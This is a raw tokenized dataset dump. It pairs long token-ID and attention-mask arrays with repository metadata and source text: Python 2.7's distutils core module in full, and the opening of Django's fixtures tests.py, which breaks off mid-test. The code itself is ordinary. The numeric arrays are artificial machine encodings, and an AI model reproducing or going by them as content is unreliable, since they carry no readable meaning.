1962, 59, 18, 61, 267, 3965, 275, 1709, 14, 9093, 8, 1199, 63, 698, 29, 992, 14, 4626, 1012, 267, 367, 11109, 315, 334, 2105, 14, 1483, 14, 362, 63, 697, 63, 17911, 8, 5599, 9, 435, 2079, 3965, 14, 362, 63, 697, 63, 17911, 8, 2105, 2298, 288, 12261, 275, 11109, 8, 12342, 12, 3965, 12, 1950, 12, 5009, 398, 340, 12261, 665, 7137, 14, 2131, 837, 288, 1592, 275, 6197, 14, 697, 63, 509, 63, 952, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 288, 1950, 275, 6947, 59, 697, 61, 288, 543, 1950, 14, 3937, 342, 465, 3920, 26, 355, 3920, 14, 2526, 480, 7014, 4442, 450, 83, 298, 3044, 298, 17688, 2581, 63, 498, 275, 11539, 83, 2, 450, 1817, 12, 359, 498, 566, 288, 372, 849, 398, 574, 275, 1950, 14, 1483, 14, 1412, 63, 67, 1191, 8, 1143, 59, 17, 566, 267, 372, 5927, 14, 3640, 8, 1095, 772, 14, 66, 772, 2708, 8, 3990, 63, 2394, 8, 585, 1724, 339, 347, 663, 8, 277, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 291, 423, 1095, 63, 409, 360, 409, 297, 790, 12, 574, 12, 2653, 9, 339, 347, 1050, 8, 277, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 372, 291, 423, 1095, 63, 409, 360, 525, 297, 790, 12, 574, 12, 2653, 9, 339, 347, 485, 1095, 63, 409, 8, 277, 12, 818, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 304, 267, 2653, 275, 291, 14, 362, 63, 4620, 63, 2593, 8, 2593, 9, 267, 1592, 275, 6197, 14, 697, 63, 509, 63, 952, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 267, 1950, 275, 6947, 59, 697, 61, 267, 1817, 275, 1950, 14, 1483, 14, 3513, 63, 354, 8, 277, 423, 1224, 9, 398, 543, 1950, 14, 3937, 342, 465, 3920, 26, 288, 3920, 14, 2526, 480, 4859, 24903, 21565, 4442, 450, 83, 2, 450, 1817, 9, 288, 1967, 275, 3920, 14, 11591, 3430, 16, 61, 288, 3063, 275, 7137, 14, 2131, 342, 288, 3063, 275, 3063, 14, 1814, 8, 16627, 29, 16, 9, 288, 340, 2653, 365, 488, 26, 355, 1437, 275, 2197, 14, 988, 288, 916, 2202, 14, 4701, 63, 14226, 26, 355, 1437, 275, 2197, 14, 5834, 18531, 8, 2593, 9, 288, 587, 26, 355, 1437, 275, 2197, 14, 18531, 8, 2593, 9, 288, 1437, 275, 1437, 14, 1814, 8, 16627, 29, 16, 9, 288, 340, 1967, 690, 291, 423, 988, 63, 3189, 26, 355, 291, 423, 67, 979, 8, 697, 12, 3920, 12, 3063, 9, 288, 18731, 275, 5927, 14, 4180, 8, 585, 12, 5927, 14, 31977, 63, 9583, 9, 288, 330, 772, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
igemsoftware/SYSU-Software2013
project/Python27/Lib/distutils/core.py
175
9093
"""distutils.core The only module that needs to be imported to use the Distutils; provides the 'setup' function (which is to be called from the setup script). Also indirectly provides the Distribution and Command classes, although they are really defined in distutils.dist and distutils.cmd. """ __revision__ = "$Id$" import sys import os from distutils.debug import DEBUG from distutils.errors import (DistutilsSetupError, DistutilsArgError, DistutilsError, CCompilerError) from distutils.util import grok_environment_error # Mainly import these so setup scripts can "from distutils.core import" them. from distutils.dist import Distribution from distutils.cmd import Command from distutils.config import PyPIRCCommand from distutils.extension import Extension # This is a barebones help message generated displayed when the user # runs the setup script with no arguments at all. More useful help # is generated with various --help options: global help, list commands, # and per-command help. USAGE = """\ usage: %(script)s [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...] or: %(script)s --help [cmd1 cmd2 ...] or: %(script)s --help-commands or: %(script)s cmd --help """ def gen_usage(script_name): script = os.path.basename(script_name) return USAGE % {'script': script} # Some mild magic to control the behaviour of 'setup()' from 'run_setup()'. _setup_stop_after = None _setup_distribution = None # Legal keyword arguments for the setup() function setup_keywords = ('distclass', 'script_name', 'script_args', 'options', 'name', 'version', 'author', 'author_email', 'maintainer', 'maintainer_email', 'url', 'license', 'description', 'long_description', 'keywords', 'platforms', 'classifiers', 'download_url', 'requires', 'provides', 'obsoletes', ) # Legal keyword arguments for the Extension constructor extension_keywords = ('name', 'sources', 'include_dirs', 'define_macros', 'undef_macros', 'library_dirs', 'libraries', 'runtime_library_dirs', 'extra_objects', 'extra_compile_args', 'extra_link_args', 'swig_opts', 'export_symbols', 'depends', 'language') def setup(**attrs): """The gateway to the Distutils: do everything your setup script needs to do, in a highly flexible and user-driven way. Briefly: create a Distribution instance; find and parse config files; parse the command line; run each Distutils command found there, customized by the options supplied to 'setup()' (as keyword arguments), in config files, and on the command line. The Distribution instance might be an instance of a class supplied via the 'distclass' keyword argument to 'setup'; if no such class is supplied, then the Distribution class (in dist.py) is instantiated. All other arguments to 'setup' (except for 'cmdclass') are used to set attributes of the Distribution instance. The 'cmdclass' argument, if supplied, is a dictionary mapping command names to command classes. Each command encountered on the command line will be turned into a command class, which is in turn instantiated; any class found in 'cmdclass' is used in place of the default, which is (for command 'foo_bar') class 'foo_bar' in module 'distutils.command.foo_bar'. The command class must provide a 'user_options' attribute which is a list of option specifiers for 'distutils.fancy_getopt'. Any command-line options between the current and the next command are used to set attributes of the current command object. When the entire command-line has been successfully parsed, calls the 'run()' method on each command object in turn. This method will be driven entirely by the Distribution object (which each command object has a reference to, thanks to its constructor), and the command-specific options that became attributes of each command object. """ global _setup_stop_after, _setup_distribution # Determine the distribution class -- either caller-supplied or # our Distribution (see below). klass = attrs.get('distclass') if klass: del attrs['distclass'] else: klass = Distribution if 'script_name' not in attrs: attrs['script_name'] = os.path.basename(sys.argv[0]) if 'script_args' not in attrs: attrs['script_args'] = sys.argv[1:] # Create the Distribution instance, using the remaining arguments # (ie. everything except distclass) to initialize it try: _setup_distribution = dist = klass(attrs) except DistutilsSetupError, msg: if 'name' in attrs: raise SystemExit, "error in %s setup command: %s" % \ (attrs['name'], msg) else: raise SystemExit, "error in setup command: %s" % msg if _setup_stop_after == "init": return dist # Find and parse the config file(s): they will override options from # the setup script, but be overridden by the command line. dist.parse_config_files() if DEBUG: print "options (after parsing config files):" dist.dump_option_dicts() if _setup_stop_after == "config": return dist # Parse the command line and override config files; any # command-line errors are the end user's fault, so turn them into # SystemExit to suppress tracebacks. try: ok = dist.parse_command_line() except DistutilsArgError, msg: raise SystemExit, gen_usage(dist.script_name) + "\nerror: %s" % msg if DEBUG: print "options (after parsing command line):" dist.dump_option_dicts() if _setup_stop_after == "commandline": return dist # And finally, run all the commands found on the command line. if ok: try: dist.run_commands() except KeyboardInterrupt: raise SystemExit, "interrupted" except (IOError, os.error), exc: error = grok_environment_error(exc) if DEBUG: sys.stderr.write(error + "\n") raise else: raise SystemExit, error except (DistutilsError, CCompilerError), msg: if DEBUG: raise else: raise SystemExit, "error: " + str(msg) return dist def run_setup(script_name, script_args=None, stop_after="run"): """Run a setup script in a somewhat controlled environment, and return the Distribution instance that drives things. This is useful if you need to find out the distribution meta-data (passed as keyword args from 'script' to 'setup()', or the contents of the config files or command-line. 'script_name' is a file that will be run with 'execfile()'; 'sys.argv[0]' will be replaced with 'script' for the duration of the call. 'script_args' is a list of strings; if supplied, 'sys.argv[1:]' will be replaced by 'script_args' for the duration of the call. 'stop_after' tells 'setup()' when to stop processing; possible values: init stop after the Distribution instance has been created and populated with the keyword arguments to 'setup()' config stop after config files have been parsed (and their data stored in the Distribution instance) commandline stop after the command-line ('sys.argv[1:]' or 'script_args') have been parsed (and the data stored in the Distribution) run [default] stop after all commands have been run (the same as if 'setup()' had been called in the usual way Returns the Distribution instance, which provides all information used to drive the Distutils. """ if stop_after not in ('init', 'config', 'commandline', 'run'): raise ValueError, "invalid value for 'stop_after': %r" % (stop_after,) global _setup_stop_after, _setup_distribution _setup_stop_after = stop_after save_argv = sys.argv g = {'__file__': script_name} l = {} try: try: sys.argv[0] = script_name if script_args is not None: sys.argv[1:] = script_args f = open(script_name) try: exec f.read() in g, l finally: f.close() finally: sys.argv = save_argv _setup_stop_after = None except SystemExit: # Hmm, should we do something if exiting with a non-zero code # (ie. error)? pass except: raise if _setup_distribution is None: raise RuntimeError, \ ("'distutils.core.setup()' was never called -- " "perhaps '%s' is not a Distutils setup script?") % \ script_name # I wonder if the setup script's namespace -- g and l -- would be of # any interest to callers? return _setup_distribution
mit
[ 624, 13350, 14, 1018, 199, 199, 1918, 1454, 859, 626, 4839, 370, 506, 8439, 370, 675, 314, 12577, 27, 6571, 199, 1589, 283, 2758, 7, 805, 334, 6777, 365, 370, 506, 2797, 687, 314, 3272, 2884, 680, 221, 6121, 199, 29306, 590, 6571, 314, 11839, 436, 5817, 3992, 12, 22160, 2985, 787, 199, 29428, 3247, 315, 7065, 14, 2686, 436, 7065, 14, 1760, 14, 199, 624, 199, 199, 363, 5792, 363, 275, 7880, 1304, 17351, 199, 199, 646, 984, 199, 646, 747, 199, 199, 504, 7065, 14, 1757, 492, 10990, 199, 504, 7065, 14, 2550, 492, 334, 12012, 1208, 30221, 12, 12577, 6373, 547, 12, 2892, 12577, 547, 12, 445, 9131, 547, 9, 199, 504, 7065, 14, 1974, 492, 486, 29275, 63, 5418, 63, 705, 199, 199, 3, 11298, 590, 492, 3520, 880, 3272, 10554, 883, 298, 504, 7065, 14, 1018, 492, 2, 3062, 14, 199, 504, 7065, 14, 2686, 492, 11839, 199, 504, 7065, 14, 1760, 492, 5817, 199, 504, 7065, 14, 888, 492, 24330, 8205, 3110, 199, 504, 7065, 14, 3435, 492, 13282, 199, 199, 3, 961, 365, 282, 18753, 66, 4548, 1720, 1245, 4046, 9080, 1380, 314, 922, 199, 3, 7858, 314, 3272, 2884, 543, 949, 2368, 737, 1006, 14, 221, 16917, 2997, 1720, 199, 3, 365, 4046, 543, 7750, 1553, 3437, 1511, 26, 2288, 1720, 12, 769, 3718, 12, 199, 3, 436, 1126, 13, 1531, 1720, 14, 199, 20274, 275, 9638, 199, 3807, 26, 2818, 1579, 9, 83, 359, 2966, 63, 3291, 61, 2088, 17, 359, 1760, 17, 63, 3291, 61, 359, 1760, 18, 359, 1760, 18, 63, 3291, 61, 21214, 2043, 503, 26, 2818, 1579, 9, 83, 1553, 3437, 359, 1760, 17, 2088, 18, 21214, 2043, 503, 26, 2818, 1579, 9, 83, 1553, 3437, 13, 4405, 2043, 503, 26, 2818, 1579, 9, 83, 2088, 1553, 3437, 199, 624, 199, 199, 318, 3805, 63, 3807, 8, 1579, 63, 354, 304, 272, 2884, 275, 747, 14, 515, 14, 4846, 8, 1579, 63, 354, 9, 272, 372, 19635, 2962, 450, 791, 1579, 356, 2884, 93, 421, 199, 3, 6601, 333, 668, 10628, 370, 3304, 314, 13942, 402, 283, 2758, 11716, 687, 283, 1065, 63, 2758, 342, 1370, 199, 63, 2758, 63, 2379, 63, 4399, 275, 488, 199, 63, 2758, 63, 4972, 275, 488, 199, 199, 3, 16258, 279, 4252, 2368, 367, 314, 3272, 342, 805, 199, 2758, 63, 7511, 275, 661, 2686, 533, 297, 283, 1579, 63, 354, 297, 283, 1579, 63, 589, 297, 283, 1419, 297, 2116, 283, 354, 297, 283, 1023, 297, 283, 2502, 297, 283, 2502, 63, 2123, 297, 2116, 283, 26665, 297, 283, 26665, 63, 2123, 297, 283, 633, 297, 283, 1682, 297, 2116, 283, 1802, 297, 283, 2809, 63, 1802, 297, 283, 7511, 297, 2116, 283, 19601, 297, 283, 27628, 297, 283, 4249, 63, 633, 297, 2116, 283, 6537, 297, 283, 20121, 297, 283, 2873, 31750, 297, 2116, 776, 199, 199, 3, 16258, 279, 4252, 2368, 367, 314, 13282, 3787, 199, 3435, 63, 7511, 275, 661, 354, 297, 283, 4553, 297, 283, 2613, 63, 3220, 297, 1993, 283, 4640, 63, 16358, 297, 283, 25878, 63, 16358, 297, 1993, 283, 4342, 63, 3220, 297, 283, 10159, 297, 283, 7726, 63, 4342, 63, 3220, 297, 1993, 283, 2911, 63, 1462, 297, 283, 2911, 63, 2014, 63, 589, 297, 283, 2911, 63, 1073, 63, 589, 297, 1993, 283, 9676, 63, 3291, 297, 283, 3790, 63, 7450, 297, 283, 8912, 297, 283, 3671, 358, 199, 199, 318, 3272, 3682, 3288, 304, 272, 408, 1918, 10391, 370, 314, 12577, 26, 886, 8137, 2195, 3272, 2884, 4839, 272, 370, 886, 12, 315, 282, 4721, 590, 26841, 436, 922, 13, 17824, 1856, 4340, 14, 221, 699, 322, 2829, 590, 26, 1218, 282, 272, 11839, 1256, 27, 2342, 436, 2198, 1101, 1584, 27, 2198, 314, 1414, 272, 1004, 27, 1255, 1924, 12577, 1414, 1911, 2337, 12, 26707, 701, 314, 1511, 272, 6841, 370, 283, 2758, 11716, 334, 305, 4252, 2368, 395, 315, 1101, 1584, 12, 436, 641, 272, 314, 1414, 1004, 14, 339, 710, 11839, 1256, 5594, 506, 376, 1256, 402, 282, 1021, 6841, 4799, 272, 314, 283, 2686, 533, 7, 4252, 1423, 370, 283, 2758, 13619, 340, 949, 4066, 1021, 365, 272, 6841, 12, 2066, 314, 11839, 1021, 334, 262, 2917, 14, 647, 9, 365, 17544, 14, 272, 2900, 1163, 2368, 370, 283, 2758, 7, 334, 2590, 367, 283, 1760, 533, 358, 787, 1202, 370, 663, 272, 3004, 402, 314, 11839, 1256, 14, 339, 710, 283, 1760, 533, 7, 1423, 12, 340, 6841, 12, 365, 282, 2600, 4412, 1414, 272, 1561, 370, 1414, 3992, 14, 221, 7048, 1414, 14556, 641, 314, 1414, 1004, 272, 911, 506, 19136, 1901, 282, 1414, 1021, 12, 1314, 365, 315, 7485, 17544, 27, 1263, 272, 1021, 1911, 315, 283, 1760, 533, 7, 365, 1202, 315, 4192, 402, 314, 849, 12, 1314, 365, 272, 334, 509, 1414, 283, 1421, 63, 1700, 358, 1021, 283, 1421, 63, 1700, 7, 315, 859, 272, 283, 13350, 14, 1531, 14, 1421, 63, 1700, 1370, 221, 710, 1414, 1021, 1471, 5647, 282, 272, 283, 751, 63, 1419, 7, 2225, 1314, 365, 282, 769, 402, 945, 29558, 367, 272, 283, 13350, 14, 25352, 63, 18907, 1370, 221, 6184, 1414, 13, 604, 1511, 3382, 314, 1453, 272, 436, 314, 2163, 1414, 787, 1202, 370, 663, 3004, 402, 314, 1453, 1414, 272, 909, 14, 339, 3979, 314, 8039, 1414, 13, 604, 965, 2757, 8792, 4565, 12, 4882, 314, 272, 283, 1065, 11716, 1083, 641, 1924, 1414, 909, 315, 7485, 14, 221, 961, 1083, 911, 506, 272, 20921, 1856, 21926, 701, 314, 11839, 909, 334, 6777, 1924, 1414, 909, 272, 965, 282, 3659, 370, 12, 2419, 6080, 370, 2399, 3787, 395, 436, 314, 272, 1414, 13, 6100, 1511, 626, 506, 27467, 3004, 402, 1924, 1414, 272, 909, 14, 272, 408, 339, 2288, 485, 2758, 63, 2379, 63, 4399, 12, 485, 2758, 63, 4972, 339, 327, 14703, 314, 4084, 1021, 1553, 1902, 8025, 13, 22525, 503, 272, 327, 4154, 11839, 334, 3239, 5084, 680, 272, 8531, 275, 3290, 14, 362, 360, 2686, 533, 358, 272, 340, 8531, 26, 267, 2150, 3290, 459, 2686, 533, 418, 272, 587, 26, 267, 8531, 275, 11839, 339, 340, 283, 1579, 63, 354, 7, 440 ]
[ 13350, 14, 1018, 199, 199, 1918, 1454, 859, 626, 4839, 370, 506, 8439, 370, 675, 314, 12577, 27, 6571, 199, 1589, 283, 2758, 7, 805, 334, 6777, 365, 370, 506, 2797, 687, 314, 3272, 2884, 680, 221, 6121, 199, 29306, 590, 6571, 314, 11839, 436, 5817, 3992, 12, 22160, 2985, 787, 199, 29428, 3247, 315, 7065, 14, 2686, 436, 7065, 14, 1760, 14, 199, 624, 199, 199, 363, 5792, 363, 275, 7880, 1304, 17351, 199, 199, 646, 984, 199, 646, 747, 199, 199, 504, 7065, 14, 1757, 492, 10990, 199, 504, 7065, 14, 2550, 492, 334, 12012, 1208, 30221, 12, 12577, 6373, 547, 12, 2892, 12577, 547, 12, 445, 9131, 547, 9, 199, 504, 7065, 14, 1974, 492, 486, 29275, 63, 5418, 63, 705, 199, 199, 3, 11298, 590, 492, 3520, 880, 3272, 10554, 883, 298, 504, 7065, 14, 1018, 492, 2, 3062, 14, 199, 504, 7065, 14, 2686, 492, 11839, 199, 504, 7065, 14, 1760, 492, 5817, 199, 504, 7065, 14, 888, 492, 24330, 8205, 3110, 199, 504, 7065, 14, 3435, 492, 13282, 199, 199, 3, 961, 365, 282, 18753, 66, 4548, 1720, 1245, 4046, 9080, 1380, 314, 922, 199, 3, 7858, 314, 3272, 2884, 543, 949, 2368, 737, 1006, 14, 221, 16917, 2997, 1720, 199, 3, 365, 4046, 543, 7750, 1553, 3437, 1511, 26, 2288, 1720, 12, 769, 3718, 12, 199, 3, 436, 1126, 13, 1531, 1720, 14, 199, 20274, 275, 9638, 199, 3807, 26, 2818, 1579, 9, 83, 359, 2966, 63, 3291, 61, 2088, 17, 359, 1760, 17, 63, 3291, 61, 359, 1760, 18, 359, 1760, 18, 63, 3291, 61, 21214, 2043, 503, 26, 2818, 1579, 9, 83, 1553, 3437, 359, 1760, 17, 2088, 18, 21214, 2043, 503, 26, 2818, 1579, 9, 83, 1553, 3437, 13, 4405, 2043, 503, 26, 2818, 1579, 9, 83, 2088, 1553, 3437, 199, 624, 199, 199, 318, 3805, 63, 3807, 8, 1579, 63, 354, 304, 272, 2884, 275, 747, 14, 515, 14, 4846, 8, 1579, 63, 354, 9, 272, 372, 19635, 2962, 450, 791, 1579, 356, 2884, 93, 421, 199, 3, 6601, 333, 668, 10628, 370, 3304, 314, 13942, 402, 283, 2758, 11716, 687, 283, 1065, 63, 2758, 342, 1370, 199, 63, 2758, 63, 2379, 63, 4399, 275, 488, 199, 63, 2758, 63, 4972, 275, 488, 199, 199, 3, 16258, 279, 4252, 2368, 367, 314, 3272, 342, 805, 199, 2758, 63, 7511, 275, 661, 2686, 533, 297, 283, 1579, 63, 354, 297, 283, 1579, 63, 589, 297, 283, 1419, 297, 2116, 283, 354, 297, 283, 1023, 297, 283, 2502, 297, 283, 2502, 63, 2123, 297, 2116, 283, 26665, 297, 283, 26665, 63, 2123, 297, 283, 633, 297, 283, 1682, 297, 2116, 283, 1802, 297, 283, 2809, 63, 1802, 297, 283, 7511, 297, 2116, 283, 19601, 297, 283, 27628, 297, 283, 4249, 63, 633, 297, 2116, 283, 6537, 297, 283, 20121, 297, 283, 2873, 31750, 297, 2116, 776, 199, 199, 3, 16258, 279, 4252, 2368, 367, 314, 13282, 3787, 199, 3435, 63, 7511, 275, 661, 354, 297, 283, 4553, 297, 283, 2613, 63, 3220, 297, 1993, 283, 4640, 63, 16358, 297, 283, 25878, 63, 16358, 297, 1993, 283, 4342, 63, 3220, 297, 283, 10159, 297, 283, 7726, 63, 4342, 63, 3220, 297, 1993, 283, 2911, 63, 1462, 297, 283, 2911, 63, 2014, 63, 589, 297, 283, 2911, 63, 1073, 63, 589, 297, 1993, 283, 9676, 63, 3291, 297, 283, 3790, 63, 7450, 297, 283, 8912, 297, 283, 3671, 358, 199, 199, 318, 3272, 3682, 3288, 304, 272, 408, 1918, 10391, 370, 314, 12577, 26, 886, 8137, 2195, 3272, 2884, 4839, 272, 370, 886, 12, 315, 282, 4721, 590, 26841, 436, 922, 13, 17824, 1856, 4340, 14, 221, 699, 322, 2829, 590, 26, 1218, 282, 272, 11839, 1256, 27, 2342, 436, 2198, 1101, 1584, 27, 2198, 314, 1414, 272, 1004, 27, 1255, 1924, 12577, 1414, 1911, 2337, 12, 26707, 701, 314, 1511, 272, 6841, 370, 283, 2758, 11716, 334, 305, 4252, 2368, 395, 315, 1101, 1584, 12, 436, 641, 272, 314, 1414, 1004, 14, 339, 710, 11839, 1256, 5594, 506, 376, 1256, 402, 282, 1021, 6841, 4799, 272, 314, 283, 2686, 533, 7, 4252, 1423, 370, 283, 2758, 13619, 340, 949, 4066, 1021, 365, 272, 6841, 12, 2066, 314, 11839, 1021, 334, 262, 2917, 14, 647, 9, 365, 17544, 14, 272, 2900, 1163, 2368, 370, 283, 2758, 7, 334, 2590, 367, 283, 1760, 533, 358, 787, 1202, 370, 663, 272, 3004, 402, 314, 11839, 1256, 14, 339, 710, 283, 1760, 533, 7, 1423, 12, 340, 6841, 12, 365, 282, 2600, 4412, 1414, 272, 1561, 370, 1414, 3992, 14, 221, 7048, 1414, 14556, 641, 314, 1414, 1004, 272, 911, 506, 19136, 1901, 282, 1414, 1021, 12, 1314, 365, 315, 7485, 17544, 27, 1263, 272, 1021, 1911, 315, 283, 1760, 533, 7, 365, 1202, 315, 4192, 402, 314, 849, 12, 1314, 365, 272, 334, 509, 1414, 283, 1421, 63, 1700, 358, 1021, 283, 1421, 63, 1700, 7, 315, 859, 272, 283, 13350, 14, 1531, 14, 1421, 63, 1700, 1370, 221, 710, 1414, 1021, 1471, 5647, 282, 272, 283, 751, 63, 1419, 7, 2225, 1314, 365, 282, 769, 402, 945, 29558, 367, 272, 283, 13350, 14, 25352, 63, 18907, 1370, 221, 6184, 1414, 13, 604, 1511, 3382, 314, 1453, 272, 436, 314, 2163, 1414, 787, 1202, 370, 663, 3004, 402, 314, 1453, 1414, 272, 909, 14, 339, 3979, 314, 8039, 1414, 13, 604, 965, 2757, 8792, 4565, 12, 4882, 314, 272, 283, 1065, 11716, 1083, 641, 1924, 1414, 909, 315, 7485, 14, 221, 961, 1083, 911, 506, 272, 20921, 1856, 21926, 701, 314, 11839, 909, 334, 6777, 1924, 1414, 909, 272, 965, 282, 3659, 370, 12, 2419, 6080, 370, 2399, 3787, 395, 436, 314, 272, 1414, 13, 6100, 1511, 626, 506, 27467, 3004, 402, 1924, 1414, 272, 909, 14, 272, 408, 339, 2288, 485, 2758, 63, 2379, 63, 4399, 12, 485, 2758, 63, 4972, 339, 327, 14703, 314, 4084, 1021, 1553, 1902, 8025, 13, 22525, 503, 272, 327, 4154, 11839, 334, 3239, 5084, 680, 272, 8531, 275, 3290, 14, 362, 360, 2686, 533, 358, 272, 340, 8531, 26, 267, 2150, 3290, 459, 2686, 533, 418, 272, 587, 26, 267, 8531, 275, 11839, 339, 340, 283, 1579, 63, 354, 7, 440, 0 ]
[ 1, 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eraj123/oh-mainline
vendor/packages/Django/tests/modeltests/fixtures/tests.py
41
29331
from __future__ import absolute_import from django.contrib.sites.models import Site from django.core import management from django.db import connection, IntegrityError from django.test import TestCase, TransactionTestCase, skipUnlessDBFeature from django.utils import six from .models import Article, Book, Spy, Tag, Visa class TestCaseFixtureLoadingTests(TestCase): fixtures = ['fixture1.json', 'fixture2.json'] def testClassFixtures(self): "Check that test case has installed 3 fixture objects" self.assertEqual(Article.objects.count(), 3) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Django conquers world!>', '<Article: Copyright is fine the way it is>', '<Article: Poker has no place on ESPN>', ]) class DumpDataAssertMixin(object): def _dumpdata_assert(self, args, output, format='json', natural_keys=False, use_base_manager=False, exclude_list=[]): new_io = six.StringIO() management.call_command('dumpdata', *args, **{'format': format, 'stdout': new_io, 'stderr': new_io, 'use_natural_keys': natural_keys, 'use_base_manager': use_base_manager, 'exclude': exclude_list}) command_output = new_io.getvalue().strip() if format == "json": self.assertJSONEqual(command_output, output) elif format == "xml": self.assertXMLEqual(command_output, output) else: self.assertEqual(command_output, output) class FixtureLoadingTests(DumpDataAssertMixin, TestCase): def test_initial_data(self): # syncdb introduces 1 initial data object from initial_data.json. self.assertQuerysetEqual(Book.objects.all(), [ '<Book: Achieving self-awareness of Python programs>' ]) def test_loading_and_dumping(self): Site.objects.all().delete() # Load fixture 1. Single JSON file, with two objects. management.call_command('loaddata', 'fixture1.json', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Time to reform copyright>', '<Article: Poker has no place on ESPN>', ]) # Dump the current contents of the database as a JSON fixture self._dumpdata_assert(['fixtures'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}, {"pk": 10, "model": "fixtures.book", "fields": {"name": "Achieving self-awareness of Python programs", "authors": []}}]') # Try just dumping the contents of fixtures.Category self._dumpdata_assert(['fixtures.Category'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}]') # ...and just fixtures.Article self._dumpdata_assert(['fixtures.Article'], '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]') # ...and both self._dumpdata_assert(['fixtures.Category', 'fixtures.Article'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]') # Specify a specific model twice self._dumpdata_assert(['fixtures.Article', 'fixtures.Article'], '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]') # Specify a dump that specifies Article both explicitly and implicitly self._dumpdata_assert(['fixtures.Article', 'fixtures'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}, {"pk": 10, "model": "fixtures.book", "fields": {"name": "Achieving self-awareness of Python programs", "authors": []}}]') # Same again, but specify in the reverse order self._dumpdata_assert(['fixtures'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}, {"pk": 10, "model": "fixtures.book", "fields": {"name": "Achieving self-awareness of Python programs", "authors": []}}]') # Specify one model from one application, and an entire other application. self._dumpdata_assert(['fixtures.Category', 'sites'], '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": "News Stories"}}, {"pk": 1, "model": "sites.site", "fields": {"domain": "example.com", "name": "example.com"}}]') # Load fixture 2. JSON file imported by default. Overwrites some existing objects management.call_command('loaddata', 'fixture2.json', verbosity=0, commit=False) self.assertQuerysetEqual(Article.objects.all(), [ '<Article: Django conquers world!>', '<Article: Copyright is fine the way it is>', '<Article: Poker has no place on ESPN>', ]) # 